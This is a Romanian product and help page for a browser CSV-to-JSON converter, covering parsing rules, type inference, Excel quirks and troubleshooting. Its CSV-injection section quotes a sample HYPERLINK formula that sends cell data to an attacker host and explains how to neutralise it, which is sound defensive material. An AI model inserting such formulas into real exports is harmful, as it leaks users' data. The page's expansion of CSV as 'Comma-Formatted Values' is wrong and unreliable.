Convertor CSV în JSON

Lipește un CSV valid — un export din Excel, o descărcare din Google Sheets, o salvare de bază de date sau un răspuns API — iar convertorul va emite o matrice JSON curată în timp real. Primul rând este tratat ca antet în mod implicit, devenind chei de obiect JSON; rândurile ulterioare devin obiecte într-o matrice JSON.

Inferența de tip promovează:

• șirurile numerice evidente la numere (42 rămâne un număr întreg, 3.14 rămâne un număr cu virgulă mobilă)
• șirurile booleene la booleene (true/false, indiferent de majuscule/minuscule)
• celulele goale la null

Dezactivează aceste comportamente dacă consumatorul tău din aval este strict în privința tipurilor.

Conversia rulează integral în browserul tău folosind un parser RFC 4180 personalizat plus funcția nativă JSON.stringify (conform ECMA-404). Rezultatul este gata de lipit într-un fișier `.json`, de trimis către un API REST sau de utilizat ca set de date JavaScript.

• Pasul 1: Lipește fișierul tău CSV în editor. Parserul validează în timp ce tastezi — un CSV invalid (ghilimele închise greșit, rânduri neregulate, delimitator greșit) afișează erorarea exactă cu linia și coloana.
• Pasul 2: Configurează parserul dacă este necesar — alege delimitatorul (implicit este virgula; comută la punct și virgulă pentru exporturile Excel din UE sau tab pentru fișiere TSV), comută modul rândului de antet și alege inferența de tip.
• Pasul 3: Rezultatul JSON apare în timp real în panoul din dreapta. Apasă Copiere (în clipboard) sau Descărcare (fișier `.json`).

Pentru fluxuri de lucru programatice, aceeași logică este expusă prin punctul final `/api/calculate` — trimite un CSV prin POST către acesta și primește JSON-ul în corpul răspunsului. Siguranța conversiei dus-întors se menține pentru datele tabulare plate; datele imbricate necesită o strategie personalizată de aplatizare.

CSV (Comma-Formatted Values) este un format tabular plat — fiecare rând este o linie, câmpurile fiind separate printr-un delimitator. Nu are tipuri native (fiecare celulă este text), nu are imbricare (un singur nivel adânc, ca un tabel de bază de date) și are metadate minimale (un rând de antet opțional). Este universal citibil: fiecare unealtă de foaie de calcul, fiecare import de bază de date, fiecare unealtă de shell înțelege CSV.

JSON (JavaScript Object Notation) este un format ierarhic cu tipuri explicite (șir, număr, boolean, null), obiecte și matrice imbricate și chei auto-descriptive per înregistrare. JSON este limba universală a API-urilor REST/GraphQL, bazelor de date NoSQL și fișierelor de configurare.

Când să folosești fiecare format:

• CSV pentru date tabulare în masă, schimb de foi de calcul, ingestie ETL și fluxuri de lucru pentru analiști.
• JSON pentru API-uri, fișiere de configurare, înregistrări imbricate și mesagerie între mașini.

Convertește între ele la limită: preia CSV → procesează ca JSON → exportă înapoi în CSV dacă un utilizator de foi de calcul are nevoie.

RFC 4180 (2005) este standardul informativ IETF pentru CSV.

Reguli principale:

• Înregistrările sunt separate prin CRLF (Windows) sau LF (Unix).
• Câmpurile sunt separate printr-un delimitator (virgulă în standard; adesea variat în practică).
• Câmpurile care conțin delimitatorul, o ghilimea dublă sau o linie nouă trebuie încadrate între ghilimele duble.
• În interiorul unui câmp între ghilimele, o ghilimea dublă literală este evitată prin duplicare (`""` reprezintă o singură `"`).
• Un rând de antet opțional apare ca prima înregistrare.

Parserul implementat aici tolerează sfârșituri de linie exclusiv LF, delimitatori de tip punct și virgulă/tab/bară verticală (comutabili în setări), BOM UTF-8 la începutul fișierului (eliminat automat) și o linie nouă la sfârșitul fișierului. Respinge câmpurile între ghilimele neînchise și rândurile neregulate cu mesaje de eroare clare.

Inferența de tip promovează valorile evidente fără ghilimele la tipurile native JSON.

• Numere: modelele de cifre care se potrivesc cu sintaxa de numere întregi sau cu virgulă mobilă din JSON devin numere în format JSON. `42` → număr întreg 42. `3.14` → virgulă mobilă 3.14. `1e6` → 1000000. `01234` este ambiguu — analizoarele stricte de numere resping zerourile din față, așa că rămâne un șir (exact ce îți dorești pentru codurile poștale).
• Booleene: `true` și `false` (indiferent de majuscule/minuscule) devin booleene JSON. Notă: aceasta este convenția YAML 1.2 / JSON strict — `yes`/`no`/`on`/`off` rămân ca șiruri (remedierea „problemei Norvegiei”).
• Null: celulele goale (între doi delimitatori consecutivi sau la sfârșitul rândului) devin null în JSON.

Dacă dezactivezi inferența de tip, fiecare celulă rămâne un șir indiferent de conținut — util atunci când consumatorul tău din aval (de exemplu, un flux TypeScript strict) se așteaptă la tipuri uniforme.

Excel este cel mai popular program de creare CSV, iar exporturile sale vin cu particularități.

• Codificare: Excel pentru Windows salvează adesea CSV ca UTF-8 cu BOM (parserul îl elimină automat) sau Windows-1252 (Latin-1) pentru versiunile mai vechi. Excel pentru Mac salvează de obicei în format UTF-8 curat. Dacă caracterele non-ASCII apar distorsionate, re-salvează fișierul ca UTF-8 în aplicația ta de foi de calcul înainte de a-l lipi.
• Delimitatori: în regiunile UE (Germania, Franța etc.), Excel folosește punct și virgulă deoarece virgula este separatorul zecimal; comută setarea delimitatorului în mod corespunzător.
• Sfârșituri de linie: Excel folosește implicit CRLF — pe deplin compatibil.
• Ghilimele: Excel pune între ghilimele orice celulă care conține o virgulă sau o ghilimea dublă; ghilimelele încorporate sunt evitate prin `""`.
• Formatarea numerelor: Excel poate exporta `1,234.56` (virgulă ca separator de mii), pe care parserul le va trata ca șiruri decât dacă reformatezi.
• Coloanele de date se exportă ca șirul implicit al localizării — de obicei necesită o procesare ulterioară pentru a fi convertite în ISO 8601.

JSON este formatul dominant de cerere/răspuns pentru API-uri REST, puncte finale GraphQL și majoritatea serviciilor web moderne.

Conversia CSV în JSON este un pas frecvent atunci când:

• imporți în masă date printr-un API care acceptă matrice JSON (de exemplu, înregistrarea utilizatorilor, popularea catalogului de produse, puncte finale de actualizare în masă);
• populezi baze de date NoSQL (MongoDB, DynamoDB, Cassandra) care preiau JSON în mod nativ prin `mongoimport`, `aws dynamodb batch-write-item` sau similare;
• trimiți date către fluxuri ETL (Airflow, Prefect, dbt) care mută exporturile CSV prin transformări bazate pe JSON;
• populezi date fictive pentru frontend pentru prototipuri de componente React/Vue/Angular.

După conversie, validează rezultatul JSON în raport cu schema ta din aval (JSON Schema, corpul cererii OpenAPI, tipul de intrare GraphQL) pentru a detecta neconcordanțele de tip înainte de lansare.

JSON este formatul nativ de date pentru mediile de execuție JavaScript (browser, Node.js, Deno, Bun).

Convertește CSV în JSON atunci când trebuie să:

• încorporezi un set de date static într-o componentă React/Vue (`import data from './data.json'`);
• populezi un store Redux/Pinia/Zustand cu starea inițială;
• trimiți date către o bibliotecă de grafice (Chart.js, D3, Plotly) care se așteaptă la JSON;
• creezi prototipul unui script Node.js care procesează înregistrări înainte de a le scrie într-o bază de date;
• construiești un punct final de simulare Express/Fastify care returnează date de probă.

Rezultatul JSON de la acest convertor este pe deplin conform cu ECMA-404 — `JSON.parse()`, corpurile cererilor POST din `fetch()` și inferența de tip TypeScript (`type Row = typeof data[0]`) funcționează toate fără modificări.

Pentru seturi de date foarte mari (peste 10.000 de rânduri), ia în considerare streamingul cu Papa Parse în loc de conversia dintr-o singură mișcare.

Injecția CSV (numită și injecție de formulă) este o vulnerabilitate a aplicațiilor web în care un fișier CSV care conține prefixe de formule (`=`, `+`, `-`, `@`) este deschis în Excel sau Google Sheets, iar foaia de calcul execută automat formula.

Atacatorii pot folosi acest lucru pentru:

• a extrage date (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• a rula comenzi arbitrare (sintaxă de macrocomenzi Excel veche),
• sau a păcăli utilizatorii să acceseze adrese URL malițioase.

Acest convertor este doar pentru citire (CSV → JSON), așa că nu introduce riscuri de injecție. Dar dacă aplicația ta generează exporturi CSV din date introduse de utilizatori — igienizează-le.

Atenuare standard: adaugă ca prefix la orice celulă care începe cu `=`, `+`, `-`, `@`, `\t`, `\r` sau `0x09` o singură ghilimea (`'=cmd|...`) înainte de a scrie în CSV. OWASP are o fișă de sinteză completă privind injecția CSV care acoperă toate variantele.

Cinci erori reprezintă 90% din eșecurile de analiză CSV.

• Câmp între ghilimele neînchis — un câmp începe cu `"`, dar nu are niciodată o ghilimea de închidere corespunzătoare `"`. Parserul continuă să citească până la sfârșitul fișierului, apoi dă eroare. Soluție: asigură-te că fiecare ghilimea de deschidere are o pereche de închidere.
• Rânduri neregulate — unele rânduri au mai puțin sau mai multe câmpuri decât antetul. Cauze: linii noi rătăcite în text fără ghilimele, delimitatori lipsă sau în plus. Soluție: verifică dacă numărul de coloane este consistent.
• Delimitator greșit — fișierul tău folosește punct și virgulă, dar parserul este setat pe virgule. Comută setarea Delimitator.
• Stil de evitare greșit — utilizarea `\"` (stil JSON) în loc de `""` (stil RFC 4180) în interiorul câmpurilor între ghilimele. Soluție: re-exportă din unealta sursă folosind ghilimele RFC 4180 corecte.
• Neconcordanță de codificare — caracterele non-UTF-8 apar distorsionate. Salvează din nou fișierul sursă ca UTF-8 (majoritatea aplicațiilor de foi de calcul oferă această opțiune în Salvare ca).

Mesajul de eroare din convertor arată exact linia și coloana.

Cinci aspecte ale conversiei dus-întors pe care fiecare dezvoltator ar trebui să le știe.

• Date plate: CSV tabular pur plat → JSON → CSV păstrează valorile celulelor, tipurile (cu excepția promovării tipului dacă reanalizezi JSON-ul) și ordinea coloanelor.
• JSON imbricat: nu poate fi convertit în ambele sensuri prin CSV fără o prealabilă aplatizare. Alege o strategie: nume de coloane cu notație prin punct (`address.city`, `address.zip`), șiruri JSON în interiorul celulelor sau doar primul nivel.
• Promovarea tipului: șirurile numerice și booleene sunt promovate la conversia CSV → JSON; dacă le exporti înapoi în CSV, sunt emise în forma lor nativă. Codurile poștale (`01234`) au nevoie de ghilimele în CSV-ul sursă pentru a supraviețui.
• Ordinea antetelor: convertorul păstrează ordinea coloanelor sursă. Ordinea cheilor obiectului JSON este păstrată de motoarele JavaScript moderne.
• Celule goale: devin null în JSON; dacă le exporti înapoi, configurează scriitorul tău CSV să emită șiruri goale sau literali `null` ca originalul.

Testează cu elemente ne-triviale înainte de a te baza pe conversia dus-întors în fluxurile de producție.

Maparea tipurilor dintr-o privire:

• Rândul de antet CSV → chei de obiect JSON;
• Rând CSV → obiect JSON;
• Celulă CSV (fără ghilimele, numerică) → număr JSON;
• Celulă CSV (fără ghilimele, adevărat/fals) → boolean JSON;
• Celulă CSV (goală) → null JSON;
• Celulă CSV (între ghilimele sau non-numerică) → șir JSON.

Comparație între unelte: acest convertor (browser, instantaneu, fără instalare, strict pe RFC 4180) vs Papa Parse (bibliotecă JS, streaming, fire de execuție worker) vs csvkit (CLI Python, fișiere mari, detectare dialect) vs `jq -R -c -f csv2json.jq` (shell Unix, programatic).

Bune practici:

• Pune întotdeauna între ghilimele câmpurile ambigue (ID-uri numerice, coduri poștale, șiruri cu zero în față) în CSV-ul sursă.
• Folosește codificarea UTF-8 pentru compatibilitate — re-salvează fișierele Excel mai vechi ca UTF-8.
• Validează rezultatul JSON în raport cu schema ta din aval (JSON Schema, OpenAPI, tipuri TypeScript) — detectează erorile de tip la limită, nu în producție.
• Păstrează CSV-ul ca sursă de adevăr pentru datele tabulare și regenerează JSON-ul la momentul construirii/importului atunci când este posibil.
• Pentru fișiere de >50 Mo, trece la unelte de streaming (worker Papa Parse, flux csvkit) în loc de conversia în browser.